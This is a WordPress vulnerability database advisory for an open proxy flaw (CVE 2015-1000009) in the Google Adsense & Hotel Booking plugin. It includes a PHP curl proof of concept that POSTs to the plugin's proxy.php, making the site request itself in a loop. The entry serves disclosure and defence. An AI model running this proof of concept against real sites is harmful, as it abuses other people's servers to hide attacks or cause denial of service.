Google Adsense & Hotel Booking <= 1.0.5 - Open Proxy



Description
Plugin is still affected and has been closed.

The code in ./plugin/google-adsense-and-hotel-booking/proxy.php allows an arbitrary user to proxy POST requests though the host site.

This may allow attackers to hide attacks, or DoS a site if the POST request is pointed back at itself causing a loop.
Proof of Concept
<?php
        $target_url = 'http://www.example.com/wp-content/plugins/google-adsense-and-hotel-booking/proxy.php';
        echo "POST to $target_url";
        $post = array('url' => $target_url,'url'=>$target_url);
 
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target_url);
        curl_setopt($ch, CURLOPT_POST,1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $result=curl_exec ($ch);
        curl_close ($ch);
        echo "#####################################";
        echo $result;
        echo "#####################################";
?>

Affects Plugin

References

CVE 2015-1000009
URL https://vapid.dhs.org/advisory.php?v=151

Classification

Type REDIRECT
CWE CWE-601

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Twitter _larry0
Views 7270
Verified No
WPVDB ID 8156

Timeline

Publicly Published 2015-08-15 (over 4 years ago)
Added 2015-08-24 (over 4 years ago)
Last Updated 2019-11-28 (10 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin